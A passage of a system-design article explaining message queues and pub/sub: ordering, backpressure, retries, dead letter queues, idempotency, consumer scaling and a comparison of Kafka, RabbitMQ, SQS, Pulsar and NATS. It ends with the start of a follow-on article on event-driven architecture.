**Mechanism**: Broker delivers messages as quickly as possible without ordering constraints. Parallel delivery maximizes throughput.

**When to use**:

- Independent events with no causal relationship
- Idempotent operations where order doesn't matter
- High-throughput scenarios where ordering would bottleneck

**Trade-offs**:

- ✅ Maximum throughput—parallel delivery
- ✅ Maximum availability—no coordination required
- ❌ Cannot rely on temporal relationships between messages

**Real-world**: Google Cloud Pub/Sub is unordered by design. This enables their dynamic scaling and low-latency delivery. Applications that need ordering must implement it at the application level.

### Partition-Ordered (Key-Based)

Messages with the same key are ordered; messages with different keys may interleave.

**Mechanism**: Hash the message key to determine partition. All messages with the same key go to the same partition. Each partition maintains FIFO order. Different partitions process in parallel.

**Why it exists**: Provides ordering where it matters (same entity) while allowing parallelism where it's safe (different entities).

**Example**: Order events keyed by `order_id`. All events for order #123 arrive in order (created → paid → shipped). Events for different orders may interleave.

**When to use**:

- Entity-scoped operations (all events for one user, one order, one device)
- Event sourcing where events must be applied in sequence per aggregate
- Most production use cases—80% of ordering benefit at 20% of the cost

**Trade-offs**:

- ✅ Ordering where needed (per key)
- ✅ Parallelism where safe (across keys)
- ✅ Scales linearly with partition count
- ❌ Hot keys create hot partitions (ordering constraint prevents load balancing)
- ❌ Reordering possible if key assignment changes

**Implementation**: Kafka's default model. Producer specifies key; `partitioner` hashes key to partition. Consumer processes one partition single-threaded to maintain order.

**Real-world**: Discord keys messages by channel ID. All messages within a channel arrive in order (critical for chat UX). Different channels process in parallel across partitions. With millions of channels, this provides massive parallelism while maintaining per-channel ordering.

### FIFO (Total Ordering per Queue)

All messages in a queue/partition arrive in exactly the order they were sent.

**Mechanism**: Single writer or sequence numbers ensure ordering. Single consumer per queue/partition ensures processing order.

**When to use**:

- Financial transactions (deposit before withdrawal)
- Strict event sequencing requirements
- State machine transitions

**Trade-offs**:

- ✅ Strict ordering guarantees
- ❌ Throughput limited by single consumer
- ❌ Typically 5-10K msg/s (vs. 100K+ for parallel)

**Implementation**: AWS SQS FIFO queues guarantee ordering within a message group. Throughput: 300 msg/s per message group (3,000 with batching), 70,000 msg/s per queue with high throughput mode.

### Total Ordering (Global)

All consumers see all messages in identical order.

**Mechanism**: Requires consensus protocol (Raft, Paxos) or single sequencer. Every message goes through a coordination point.

**Why it exists**: Required for distributed consensus, leader election, and strong consistency across replicas.

**When to use**:

- Distributed coordination (ZooKeeper, etcd)
- Database replication (same transaction order on all replicas)
- Rare in messaging—usually overkill

**Trade-offs**:

- ✅ Global consistency—all nodes see same order
- ❌ High latency—consensus overhead on every message
- ❌ Scalability bottleneck—single coordination point

**Real-world**: Apache ZooKeeper provides total ordering for coordination events. Not used for high-throughput messaging—reserved for low-volume, high-importance events like leader election and configuration changes.

## Backpressure and Flow Control

Backpressure handles the situation where producers outpace consumers.

### Pull Model (Consumer-Controlled)

Consumer requests messages when ready to process.

**Mechanism**: Consumer polls broker for messages. Consumer controls batch size and poll frequency. Broker buffers messages until requested.

**Why it exists**: True backpressure—consumers never receive more than they can handle. Consumer naturally throttles intake based on processing capacity.

**Trade-offs**:

- ✅ Natural backpressure—consumer controls intake
- ✅ Consumer can batch for efficiency
- ✅ Broker simpler—no per-consumer delivery state
- ❌ Polling overhead (empty polls waste resources)
- ❌ Higher latency for individual messages (batch + poll interval)

**Implementation**: Kafka's `poll()` API. Consumer requests up to `max.poll.records` messages. Long polling (`fetch.max.wait.ms`) reduces empty polls.

**Real-world**: AWS SQS uses long polling (up to 20 seconds). Consumer waits for messages or timeout—eliminates empty poll overhead while maintaining pull semantics. This is why SQS scales to massive throughput without per-consumer coordination.

### Push Model (Broker-Controlled)

Broker sends messages to consumers as they arrive.

**Mechanism**: Broker maintains consumer connections. Messages pushed immediately on arrival. Prefetch/buffer limits control flow.

**Why it exists**: Lowest latency for individual messages—no poll interval. Better for real-time use cases.

**Trade-offs**:

- ✅ Lower latency—immediate delivery
- ✅ No polling overhead
- ❌ Backpressure harder—broker must track consumer capacity
- ❌ Slow consumer can overflow and lose messages
- ❌ Broker complexity—per-consumer delivery state

**Implementation**: RabbitMQ's default mode. `prefetch_count` limits unacknowledged messages per consumer. When consumer is slow, prefetch fills up, and broker stops sending.

**Real-world**: Google Cloud Pub/Sub supports push delivery to HTTP endpoints. Includes automatic retry with exponential backoff. Useful for serverless functions (Cloud Functions, Cloud Run) where the consumer is an HTTP endpoint.

### Handling Overload

When consumers can't keep up:

**Buffering**: Broker stores messages in memory/disk. Limited by available storage. Eventually, oldest messages dropped or producers blocked.

**Producer blocking**: When buffers full, producer's send blocks. Propagates backpressure upstream. Can cause cascading failures if producer has its own timeouts.

**Message dropping**: Shed load by dropping messages (usually oldest). Use for non-critical data (metrics, telemetry).

**Rate limiting**: Limit producer throughput at ingestion. Rejects excess rather than buffering.

**Consumer scaling**: Add more consumers (within partition limits). Only works with parallelizable workloads.

**Real-world**: Slack's job queue uses Redis as a "shock absorber"—fast in-memory buffer for traffic spikes. When Redis fills up, they rely on Kafka's disk-based storage as overflow. This two-tier approach handles burst traffic without dropping messages or blocking producers.

## Retry and Dead Letter Queues

### Retry Strategies

**Immediate retry**: Retry on first failure. Catches transient network issues. Risk: hammering a failing service.

**Exponential backoff**: Increase delay between retries. Formula: `delay = min(base × 2^attempt, max_delay)`. Allows failing services to recover.

**Exponential backoff with jitter**: Add randomness to delay. Prevents thundering herd when many consumers retry simultaneously. Formula: `delay = random(0, min(base × 2^attempt, max_delay))`.

**Example configuration**:

```
initial_delay: 100ms
backoff_multiplier: 2
max_delay: 30s
max_attempts: 10
jitter: full (random between 0 and calculated delay)
```

This gives delays: ~50ms, ~100ms, ~200ms, ~400ms... up to ~15s average, max 10 attempts over ~1-2 minutes.

### Dead Letter Queues (DLQ)

A secondary queue for messages that fail processing after maximum retries.

**Mechanism**: After N failures, message moves to DLQ instead of returning to main queue. DLQ holds failed messages for inspection, manual intervention, or automated reprocessing.

**Why it exists**: Prevents "poison pill" messages from blocking the queue forever. Isolates problematic messages without losing them.

**Design considerations**:

**When to DLQ**:

- Deserialization failures (malformed message)
- Validation errors (missing required fields)
- Business logic failures (invalid state transition)
- Exceeded retry limit

**When NOT to DLQ**:

- Transient failures (network timeout, service unavailable)—retry instead
- Temporary state issues (eventual consistency lag)—retry with delay

**DLQ processing patterns**:

- Manual inspection and replay after fixing consumer bug
- Automated reprocessing after dependent service recovers
- Alert on DLQ growth—indicates systematic problem
- Periodic purge of old messages (with audit log)

**Real-world**: AWS SQS integrates DLQ at the queue level. Configure `maxReceiveCount` on the source queue; messages exceeding this automatically route to the specified DLQ. CloudWatch alarms on `ApproximateNumberOfMessagesVisible` for the DLQ alert on failures.

### Poison Pill Handling

A poison pill is a message that can never be processed successfully—causes consumer crash, infinite loop, or persistent error.

**Detection**:

- Same message appearing repeatedly (delivery count)
- Consumer crashes correlate with specific message
- Processing time exceeds timeout repeatedly

**Handling**:

- Track delivery attempts per message (message metadata or external store)
- After N attempts, route to DLQ without further processing
- Log full message content and error for debugging
- Alert on poison pill rate

**Differentiation**:
| Error Type | Symptom | Action |
|------------|---------|--------|
| Transient | Network timeout, 503 | Retry with backoff |
| Poison pill | Same error every attempt, deserialization failure | DLQ immediately |
| Bug | All messages of a type fail | Stop consumer, fix bug, replay |

## Idempotency Patterns

Idempotency ensures processing a message multiple times has the same effect as processing it once. Required for at-least-once delivery to achieve exactly-once semantics.

### Why Idempotency Matters

At-least-once delivery means duplicates are possible:

- Producer retry (acknowledgment lost)
- Consumer failure before commit (redelivery)
- Broker failover (may redeliver)

Without idempotency, duplicates cause:

- Duplicate charges to customers
- Double inventory deductions
- Incorrect aggregate counts
- Duplicate notifications

### Idempotency Key Strategies

**Message ID (UUID)**:

- Each message has unique ID
- Consumer stores processed IDs
- Skip if ID already seen

**Challenge**: Must store all processed IDs forever, or risk accepting old duplicates after purge.

**Monotonic sequence numbers**:

- Producer assigns incrementing sequence per entity
- Consumer stores highest processed sequence per entity
- Reject any sequence ≤ stored value

**Advantage**: Store only one number per entity, not all message IDs.

**Example**: User #123's events have sequences 1, 2, 3... Consumer stores `user_123_seq = 5`. Message with seq=3 rejected as duplicate. Message with seq=6 processed and seq updated to 6.

**Time-windowed deduplication**:

- Store message IDs for limited window (e.g., 5 minutes)
- Assume duplicates only arrive within window
- Purge old IDs automatically

**Trade-off**: Risk of accepting duplicates outside window. SQS FIFO uses 5-minute window; Kafka's idempotent producer has effectively infinite window via producer epoch.

### Consumer Implementation

**Pattern**: Atomic check-and-process

```
BEGIN TRANSACTION
  -- Check for duplicate
  IF EXISTS (SELECT 1 FROM processed_messages WHERE id = message_id)
    ROLLBACK
    RETURN -- Already processed

  -- Process message
  ... business logic ...

  -- Record processed
  INSERT INTO processed_messages (id, processed_at) VALUES (message_id, NOW())
COMMIT
```

**Key**: The duplicate check and business logic must be in the same transaction. Otherwise, a crash between processing and recording creates inconsistency.

### Broker-Level Idempotency

**Kafka idempotent producer** (v0.11+):

- Producer assigned unique PID (producer ID)
- Each message has sequence number per partition
- Broker rejects duplicates within same producer session

**Limitation**: Only prevents duplicates from producer retries within a session. New producer instance gets new PID—application still needs idempotency for end-to-end guarantees.

**Kafka transactions**:

- Atomic writes to multiple partitions
- `read_committed` isolation for consumers
- Enables exactly-once stream processing (Kafka Streams, Flink)

**SQS FIFO deduplication**:

- `MessageDeduplicationId` per message
- Broker deduplicates within 5-minute window
- Can be explicit (producer sets ID) or content-based (hash of message body)

## Scaling Consumers

### Partitions and Parallelism

**Kafka model**: Maximum parallelism = number of partitions.

Within a consumer group:

- Each partition assigned to exactly one consumer
- More consumers than partitions → some consumers idle
- Fewer consumers than partitions → some consumers handle multiple partitions

**Choosing partition count**:

- Target throughput / per-consumer throughput = minimum partitions
- Round up for headroom and future growth
- Consider: partitions are hard to reduce, easy to add

**Example**: Need 100K msg/s. Each consumer handles 10K msg/s. Minimum partitions = 10. Add headroom → 20 partitions. Allows scaling to 20 consumers.

### Rebalancing

**Trigger**: Consumer joins, leaves, or crashes. Partition assignment changes.

**Impact**:

- Brief pause in processing (seconds to minutes)
- In-flight messages may be reprocessed (at-least-once)
- State (if any) must be rebuilt or migrated

**Strategies**:

- **Eager rebalancing**: Stop all consumers, reassign, restart. Simple but higher impact.
- **Cooperative rebalancing** (Kafka 2.4+): Only affected partitions pause. Lower impact, more complex.

**Real-world**: LinkedIn optimized rebalancing for their 4,000+ broker clusters. They use sticky assignor (minimize partition movement) and incremental cooperative rebalancing. Still, they design applications to handle rebalancing gracefully—checkpoint state, handle duplicates from reprocessing.

### Consumer Lag

Lag = how far behind the consumer is from the latest produced message.

**Metrics**:

- **Offset lag**: Latest offset − committed offset (message count)
- **Time lag**: Time since the oldest unconsumed message was produced (seconds)

Time lag is more useful for alerting—a lag of 10,000 messages means different things for different topics (high-throughput vs. low-throughput).

**Monitoring**:

```
Alert: consumer_lag_seconds > 60 for 5 minutes
Action: Investigate consumer health, consider scaling
```

**Causes of lag**:

- Consumer too slow (processing bottleneck)
- Too few consumers (under-provisioned)
- Partition imbalance (some partitions hot)
- Consumer bugs (stuck processing, memory leak)
- Rebalancing (temporary lag during reassignment)

**Real-world**: Discord monitors consumer lag as a primary health metric for their message delivery pipeline. Lag spikes correlate with delivery delays visible to users. They set aggressive alerting thresholds and have runbooks for rapid scale-up.

## Message Broker Comparison

### Design Choices

| Factor                     | Kafka                 | RabbitMQ                 | SQS/SNS            | Pub/Sub        | Pulsar                   |
| -------------------------- | --------------------- | ------------------------ | ------------------ | -------------- | ------------------------ |
| **Primary model**          | Log-based pub/sub     | Queue + exchange routing | Queue + topic      | Topic          | Log-based pub/sub        |
| **Throughput**             | 2M+ msg/s per cluster | 20-50K msg/s per node    | 100K+ msg/s        | 1M+ msg/s      | 1M+ msg/s                |
| **Latency p99**            | ~5ms                  | <1ms                     | 100-200ms          | 10-100ms       | <10ms                    |
| **Ordering**               | Partition-ordered     | Queue FIFO               | FIFO (queues only) | Unordered      | Partition-ordered        |
| **Retention**              | Days to forever       | Until consumed           | 14 days max        | 7 days default | Days to forever + tiered |
| **Multi-tenancy**          | Manual                | Manual                   | Native             | Native         | Native                   |
| **Operational complexity** | High                  | Medium                   | Zero (managed)     | Zero (managed) | High                     |

### Kafka

**Architecture**: Distributed commit log. Partitioned topics stored on disk. Consumers track offset (position in log).

**Strengths**:

- Extreme throughput (LinkedIn: 7 trillion msg/day)
- Long retention (replay historical events)
- Exactly-once within Kafka boundary (transactions)
- Strong ecosystem (Kafka Streams, Connect, Schema Registry)

**Weaknesses**:

- Operational complexity (ZooKeeper/KRaft, partition management)
- Partition count limits scalability of individual topics
- No built-in delayed messages
- Cold start latency (consumer must catch up from offset)

**Best for**: Event streaming, event sourcing, high-throughput pipelines, data integration.

**Real-world**: Netflix scaled from 1 trillion events/day (2017) to 20+ trillion events/day using Kafka. They run weekly Kafka cluster failover drills to ensure operational readiness.

### RabbitMQ

**Architecture**: AMQP broker with exchanges and queues. Exchanges route messages to queues based on bindings and routing keys.

**Strengths**:

- Flexible routing (direct, fanout, topic, headers exchanges)
- Low latency (<1ms p99)
- Built-in delayed messages via plugin
- Dead letter exchanges
- Mature, well-understood

**Weaknesses**:

- Lower throughput than Kafka
- Limited replay (messages consumed once)
- Clustering adds complexity
- Memory-bound (large queues require disk overflow)

**Best for**: Task queues, complex routing rules, RPC patterns, lower-scale messaging.

### AWS SQS/SNS

**SQS (Simple Queue Service)**: Fully managed message queue.

- **Standard queues**: At-least-once, best-effort ordering, unlimited throughput
- **FIFO queues**: Exactly-once processing, strict ordering, 70K msg/s with high throughput mode

**SNS (Simple Notification Service)**: Fully managed pub/sub.

- Fan-out to SQS queues, Lambda, HTTP endpoints, email, SMS
- Message filtering on subscription

**SNS + SQS pattern**: SNS topic fans out to multiple SQS queues. Each queue has independent consumers. Common for event broadcasting with reliable queue-based consumption.

**Strengths**:

- Zero operational overhead
- Scales automatically
- Integrated with AWS services
- Pay-per-message pricing

**Weaknesses**:

- Higher latency (100-200ms typical)
- Limited retention (14 days max for SQS)
- No replay (once delivered, gone)
- Vendor lock-in

**Best for**: AWS-native applications, serverless architectures, teams without messaging operations expertise.

### Apache Pulsar

**Architecture**: Separated compute (brokers) and storage (BookKeeper). Topics have segments stored across bookies.

**Strengths**:

- Multi-tenancy built-in (namespaces, isolation)
- Geo-replication native
- Tiered storage (hot → cold automatically)
- Millions of topics per cluster
- Both queuing and streaming in one system

**Weaknesses**:

- Newer, smaller ecosystem
- Operational complexity (BookKeeper cluster)
- Less mature tooling than Kafka

**Best for**: Multi-tenant platforms, multi-region deployments, very high topic counts.

### NATS

**Architecture**: Lightweight pub/sub with optional persistence (JetStream).

**Core NATS**: At-most-once, in-memory, fire-and-forget. Ultra-low latency.

**JetStream**: Persistence, at-least-once, replay, consumer groups.

**Strengths**:

- Extremely lightweight (~10MB binary)
- Sub-millisecond latency
- Simple protocol (text-based)
- Good for edge/IoT

**Weaknesses**:

- JetStream less mature than Kafka
- Smaller ecosystem
- Limited exactly-once support

**Best for**: Real-time communication, IoT, microservices internal messaging, edge computing.

## How to Choose

### Factors to Consider

#### 1. Messaging Pattern

| Need                                     | Recommended Approach                           |
| ---------------------------------------- | ---------------------------------------------- |
| Work distribution to worker pool         | Queue (SQS, RabbitMQ) or Kafka consumer groups |
| Event broadcasting to multiple consumers | Pub/sub (SNS, Kafka topics, Pub/Sub)           |
| Complex routing rules                    | RabbitMQ exchanges                             |
| Event replay and sourcing                | Kafka, Pulsar (log-based)                      |
| Multi-region fan-out                     | SNS, Pub/Sub, Pulsar                           |

#### 2. Throughput and Latency

| Requirement                | Recommended Approach              |
| -------------------------- | --------------------------------- |
| < 10K msg/s                | Any—choose based on other factors |
| 10K-100K msg/s             | RabbitMQ, SQS, or Kafka           |
| > 100K msg/s               | Kafka, Pulsar                     |
| Sub-millisecond latency    | NATS, RabbitMQ                    |
| Latency tolerance (100ms+) | SQS, Cloud Pub/Sub                |

#### 3. Ordering Requirements

| Requirement                  | Recommended Approach                               |
| ---------------------------- | -------------------------------------------------- |
| No ordering needed           | Any (maximize throughput)                          |
| Per-entity ordering          | Kafka (partition by key), SQS FIFO (message group) |
| Strict FIFO (low throughput) | SQS FIFO, RabbitMQ single queue                    |
| Global ordering              | Single partition or consensus-based system         |

#### 4. Operational Capacity

| Team Capability              | Recommended Approach                    |
| ---------------------------- | --------------------------------------- |
| No messaging operations team | SQS/SNS, Cloud Pub/Sub, Confluent Cloud |
| Some operations capacity     | RabbitMQ, managed Kafka                 |
| Dedicated platform team      | Self-managed Kafka, Pulsar              |

### Decision Tree

```
Start: What's your primary use case?

├── Work distribution (task queue)
│   └── Do you need complex routing?
│       ├── Yes → RabbitMQ
│       └── No → SQS or Kafka consumer groups
│
├── Event broadcasting
│   └── Do you need event replay?
│       ├── Yes → Kafka or Pulsar
│       └── No → SNS, Cloud Pub/Sub
│
├── Event sourcing / audit log
│   └── Kafka (log-based, long retention)
│
├── Real-time (sub-ms latency)
│   └── NATS or RabbitMQ
│
└── Multi-tenant platform
    └── Pulsar (native multi-tenancy)
```

## Real-World Examples

### LinkedIn: Kafka at Extreme Scale

**Scale**: 7 trillion messages/day, 100+ Kafka clusters, 4,000+ brokers, 100,000+ topics, 7 million partitions.

**Use cases**: Activity tracking (profile views, searches, connections), metrics collection, change data capture, inter-service communication.

**Architecture decisions**:

- Kafka as the central nervous system—all events flow through Kafka
- Custom Kafka version with upstream contributions
- Separate clusters by use case (real-time vs. batch, critical vs. non-critical)
- Extensive monitoring and automation for cluster operations

**Key insight**: Kafka's log-based model enables multiple independent consumers. The same activity events feed recommendations, analytics, security monitoring, and data warehouse—each consuming independently.

### Slack: Dual-Queue Architecture

**Scale**: 1.4 billion jobs/day, 33K jobs/sec peak.

**Use cases**: Every message post, push notification, URL unfurl, billing event, search indexing.

**Architecture decisions**:

- Dual-queue: Redis (in-memory, fast) + Kafka (durable, ledger)
- Redis handles hot path—low latency for job dispatch
- Kafka provides durability—no job lost even if Redis fails
- Strong ordering guarantees per channel
- Exactly-once semantics critical for message delivery

**Key insight**: Combining Redis speed with Kafka durability gives both performance and reliability. Redis absorbs bursts; Kafka ensures nothing is lost.

### Uber: Real-Time Push Platform

**Scale**: 250K+ messages/second, 1.5M concurrent connections.

**Use cases**: Driver dispatch, rider updates, ETA notifications, surge pricing alerts.

**Architecture decisions**:

- Custom push platform (Streamgate) for WebSocket/gRPC connections
- Kafka backbone for durable message storage and replay
- Apache Flink for exactly-once stream processing
- Evolution from SSE to gRPC for bidirectional streaming

**Key insight**: Real-time push requires both low latency (direct connections) and durability (Kafka). The hybrid approach delivers both.

### Netflix: Event-Driven Analytics

**Scale**: 500 billion events/day, 8 million events/second peak, 1.3 PB/day consumed.

**Use cases**: A/B testing, recommendations, personalization, real-time analytics.

**Architecture decisions**:

- Kafka as the event backbone
- Flink for stream processing with exactly-once
- Real-time graph ingestion for recommendations
- Weekly failover drills for Kafka clusters

**Key insight**: Event-driven architecture with Kafka enables real-time ML pipelines. The same events feed both batch (data warehouse) and real-time (streaming) processing.

## Common Pitfalls

### 1. Assuming Exactly-Once is Free

**The mistake**: Relying on broker's "exactly-once" guarantee without implementing application idempotency.

**Why it happens**: Marketing materials promise exactly-once. The fine print explains it's only within the broker boundary.

**The consequence**: Duplicate processing of side effects—double charges, duplicate notifications, inconsistent state.

**The fix**: Always implement application-level idempotency. Treat exactly-once as a broker optimization, not a guarantee you can rely on.

**Example**: A payment service consumed events with Kafka transactions (exactly-once processing). But the downstream payment API was called without idempotency keys. When consumer crashed and replayed, customers were charged twice.

### 2. Wrong Partition Count

**The mistake**: Starting with too few partitions (can't scale consumers) or too many (overhead, rebalancing pain).

**Why it happens**: Partition count is set at topic creation. Hard to change later.

**The consequence**: Too few → throughput ceiling, can't add consumers. Too many → slow rebalancing, high metadata overhead, reduced batching efficiency.

**The fix**: Calculate based on target throughput. Start with headroom for growth. Monitor and adjust before hitting limits.

**Formula**: `partitions = max(target_throughput / per_consumer_throughput, expected_consumer_count * 1.5)`

### 3. Not Handling Rebalancing

**The mistake**: Assuming partition assignments are stable. Not handling reassignment gracefully.

**Why it happens**: Rebalancing seems like an edge case. Works fine in testing with stable consumers.

**The consequence**: During rebalancing: duplicate processing (at-least-once), lost in-memory state, processing stalls.

**The fix**:

- Commit offsets before rebalancing (ConsumerRebalanceListener)
- Design for message reprocessing (idempotency)
- Store state externally or rebuild on assignment
- Use cooperative rebalancing for lower impact

### 4. Ignoring Consumer Lag

**The mistake**: Not monitoring how far behind consumers are.

**Why it happens**: System works fine initially. Lag builds gradually until visible problems.

**The consequence**: Processing delays compound. Old messages become stale. Eventually, messages expire before processing.

**The fix**: Monitor lag in seconds (not just offsets). Alert on sustained lag. Auto-scale consumers. Have runbooks for lag spikes.

**Example**: A notification service had 2-hour lag during peak traffic. By the time messages processed, the notifications were irrelevant ("Your ride is arriving" sent 2 hours late).

### 5. DLQ Without Monitoring

**The mistake**: Setting up DLQ but not monitoring it.

**Why it happens**: DLQ is set-and-forget. Out of sight, out of mind.

**The consequence**: Systematic failures accumulate silently. By the time noticed, thousands of messages are stuck.

**The fix**: Alert on DLQ size growth. Regularly review DLQ contents. Automate reprocessing after fixes. Track DLQ rate as a system health metric.

## Conclusion

Queues and pub/sub are complementary patterns for asynchronous communication:

**Queues (point-to-point)** distribute work across consumers:

- Each message processed by one consumer
- Natural load balancing and retry semantics
- Best for: task processing, job queues, work distribution

**Topics (pub/sub)** broadcast events to all subscribers:

- Each subscriber receives every message
- Subscribers independent and decoupled
- Best for: event broadcasting, event sourcing, analytics pipelines

**Delivery semantics** determine reliability:

- At-most-once: fast, may lose messages
- At-least-once: reliable, may duplicate (most common)
- Exactly-once: requires application idempotency (broker guarantees are limited)

**Ordering** trades off throughput:

- Partition-ordered (per-key): best balance of ordering and parallelism
- FIFO: strict but limited throughput
- Unordered: maximum throughput

**Production patterns (2024)**:

- **LinkedIn** (Kafka, 7T msg/day): Event backbone for 100K+ topics
- **Slack** (Redis + Kafka): Dual-queue for speed and durability
- **Netflix** (Kafka + Flink, 500B events/day): Real-time event-driven analytics
- **Uber** (Kafka + custom push): Real-time messaging at 250K msg/sec

The choice depends on your messaging pattern (work distribution vs. fan-out), throughput requirements, ordering needs, and operational capacity.

## Appendix

### Prerequisites

- Distributed systems fundamentals (network failures, eventual consistency)
- Basic understanding of asynchronous programming
- Familiarity with at least one message broker (conceptual)

### Terminology

- **Queue**: A buffer that delivers each message to one consumer (point-to-point)
- **Topic**: A channel that delivers each message to all subscribers (pub/sub)
- **Partition**: A subdivision of a topic for parallelism; each partition is ordered
- **Consumer group**: A set of consumers that share message processing; each partition goes to one consumer in the group
- **Offset**: A consumer's position in a partition (how many messages read)
- **Consumer lag**: The difference between latest produced offset and consumer's committed offset
- **DLQ (Dead Letter Queue)**: A queue for messages that failed processing after max retries
- **Idempotency**: Property where processing a message multiple times has the same effect as processing once
- **Backpressure**: Mechanism for consumers to signal producers to slow down
- **Acknowledgment (ack)**: Consumer's confirmation that a message was successfully processed
- **At-least-once**: Delivery guarantee where messages may duplicate but never lose
- **Exactly-once**: Delivery guarantee where messages are processed exactly once (requires idempotency)

### Summary

- **Queues distribute work**; topics broadcast events—choose based on consumption pattern
- **At-least-once + idempotency** = exactly-once semantics (the only reliable approach)
- **Partition-ordered** gives 80% of ordering benefit at 20% of cost—use key-based partitioning
- **Consumer group parallelism** limited by partition count—plan ahead
- **Pull model** (Kafka, SQS) handles backpressure naturally; push model needs explicit flow control
- **Monitor consumer lag in time** (not offsets) for consistent alerting across workloads
- **DLQ monitoring** is critical—growing DLQ indicates systematic failures
- **Kafka** dominates high-throughput event streaming (LinkedIn 7T/day, Netflix 500B/day)
- **Managed services** (SQS/SNS, Cloud Pub/Sub) eliminate operations overhead for smaller scale

### References

**Official Documentation**

- [Apache Kafka Documentation](https://kafka.apache.org/documentation/) - Core concepts, producer/consumer APIs, exactly-once semantics
- [Confluent - Message Delivery Semantics](https://docs.confluent.io/kafka/design/delivery-semantics.html) - Detailed delivery guarantees explanation
- [AWS SQS Developer Guide](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/) - Standard and FIFO queue semantics
- [AWS SQS FIFO Exactly-Once Processing](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues-exactly-once-processing.html) - Deduplication and ordering
- [RabbitMQ AMQP Concepts](https://www.rabbitmq.com/tutorials/amqp-concepts) - Exchanges, bindings, routing
- [Google Cloud Pub/Sub Documentation](https://cloud.google.com/pubsub/docs) - Push/pull delivery, ordering, exactly-once
- [Apache Pulsar Documentation](https://pulsar.apache.org/docs/) - Multi-tenancy, geo-replication, tiered storage
- [NATS Documentation](https://docs.nats.io/) - Core NATS and JetStream

**Engineering Blog Posts**

- [LinkedIn - Running Kafka at Scale](https://engineering.linkedin.com/kafka/running-kafka-scale) - 7 trillion messages/day architecture
- [LinkedIn - Apache Kafka Trillion Messages](https://engineering.linkedin.com/blog/2019/apache-kafka-trillion-messages) - Scaling journey
- [Slack - Scaling Slack's Job Queue](https://slack.engineering/scaling-slacks-job-queue/) - 1.4B jobs/day, dual-queue architecture
- [Uber - Real-Time Push Platform](https://www.uber.com/blog/real-time-push-platform/) - 250K msg/sec push messaging
- [Netflix - Real-Time Graph Ingestion](https://netflixtechblog.com/how-and-why-netflix-built-a-real-time-distributed-graph-part-1-ingesting-and-processing-data-80113e124acc) - Kafka + Flink at scale
- [Discord - How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - Message storage evolution

**Patterns and Best Practices**

- [Microservices.io - Idempotent Consumer Pattern](https://microservices.io/patterns/communication-style/idempotent-consumer.html) - Idempotency implementation
- [Gunnar Morling - On Idempotency Keys](https://www.morling.dev/blog/on-idempotency-keys/) - Idempotency key design strategies
- [Confluent - Monitor Consumer Lag](https://docs.confluent.io/platform/current/monitor/monitor-consumer-lag.html) - Lag monitoring best practices
- [Confluent - How to Survive a Kafka Outage](https://www.confluent.io/blog/how-to-survive-a-kafka-outage/) - Failure handling and recovery

**Books**

- [Martin Kleppmann - Designing Data-Intensive Applications](https://dataintensive.net/) - Chapter 11: Stream Processing
- [Gregor Hohpe - Enterprise Integration Patterns](https://www.enterpriseintegrationpatterns.com/) - Messaging patterns (Message Channel, Dead Letter Channel)

---

## Event-Driven Architecture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/event-driven-architecture
**Category:** System Design / System Design Fundamentals
**Description:** Designing systems around events rather than synchronous requests: when events beat API calls, event sourcing vs. state storage, CQRS trade-offs, saga patterns for distributed transactions, and production patterns from systems processing trillions of events daily.

# Event-Driven Architecture

Designing systems around events rather than synchronous requests: when events beat API calls, event sourcing vs. state storage, CQRS trade-offs, saga patterns for distributed transactions, and production patterns from systems processing trillions of events daily.

<figure>

![Request-driven: synchronous call chains with tight coupling. Event-driven: asynchronous fan-out with loose coupling—producers don't know (or care) about consumers.](./request-driven-synchronous-call-chains-with-tight-coupling-event-driven-asynchro.svg)

<figcaption>Request-driven: synchronous call chains with tight coupling. Event-driven: asynchronous fan-out with loose coupling—producers don't know (or care) about consumers.</figcaption>
</figure>

## Abstract

Event-driven architecture (EDA) replaces synchronous request-response chains with asynchronous event publishing and subscription. The producer emits facts about what happened; consumers independently decide how to react.

**The mental model:**

| Pattern            | Communication | Coupling | Consistency | Best For                                   |
| ------------------ | ------------- | -------- | ----------- | ------------------------------------------ |
| **Request-driven** | Synchronous   | Tight    | Strong      | User-facing operations, transactions       |
| **Event-driven**   | Asynchronous  | Loose    | Eventual    | Scalability, decoupling, complex workflows |

**Key patterns covered:**

- **Event sourcing**: Store events as the source of truth, derive state by replay
- **CQRS**: Separate read and write models for independent optimization
- **Sagas**: Choreography vs. orchestration for distributed transactions
- **Idempotency**: At-least-once delivery requires idempotent consumers
- **Schema evolution**: Events are immutable—evolve schemas without breaking consumers

**Production context:**

- LinkedIn: 800B events/day, 13M/sec peak across 1,100+ Kafka brokers
- Uber: 300+ microservices, petabytes daily via Kafka + Flink
- Netflix: Event sourcing for downloads, billions of events through Kafka/Flink/CockroachDB

The choice isn't binary—most production systems combine request-driven for user-facing operations and event-driven for background processing, analytics, and integration.

## Event-Driven vs. Request-Driven

### Request-Driven Architecture

**Mechanism**: Client sends request, waits for response. Service A calls Service B synchronously, which calls Service C. Each call blocks until the downstream service responds.

**Why it exists**: Immediate feedback loop. User clicks "Submit Order," expects to know if it succeeded. Strong consistency—the response reflects the current state.

**Trade-offs**:

- ✅ Immediate consistency—response reflects committed state
- ✅ Simple error handling—caller knows if operation failed
- ✅ Clear request/response semantics
- ✅ Easier debugging—synchronous call stacks
- ❌ Cascading failures—one slow service blocks the entire chain
- ❌ Tight coupling—caller must know about downstream services
- ❌ Limited scalability—throughput bounded by slowest service
- ❌ Difficult to add consumers—each new consumer requires producer changes

**When to use**:

- User-facing operations requiring immediate feedback (payments, authentication)
- Operations requiring strong consistency (financial transactions, inventory decrements)
- Simple systems with clear request/response boundaries
- MVP development where speed-to-market matters more than scale

### Event-Driven Architecture

**Mechanism**: Producer publishes events to a broker. Consumers subscribe independently and process asynchronously. Producer doesn't wait for (or know about) consumers.

**Why it exists**: Decoupling at scale. Adding a new consumer (analytics, audit log, notifications) doesn't require changing the producer. Each service scales independently.

**Trade-offs**:

- ✅ Loose coupling—producer and consumers evolve independently
- ✅ Horizontal scaling—each service scales based on its own load
- ✅ Resilience—consumer failure doesn't affect producer or other consumers
- ✅ Flexibility—add new consumers without modifying producers
- ❌ Eventual consistency—consumers may see stale data
- ❌ Complex debugging—events flow across multiple services
- ❌ No immediate feedback—producer doesn't know if processing succeeded
- ❌ Harder rollback—compensation logic required for failures

**When to use**:

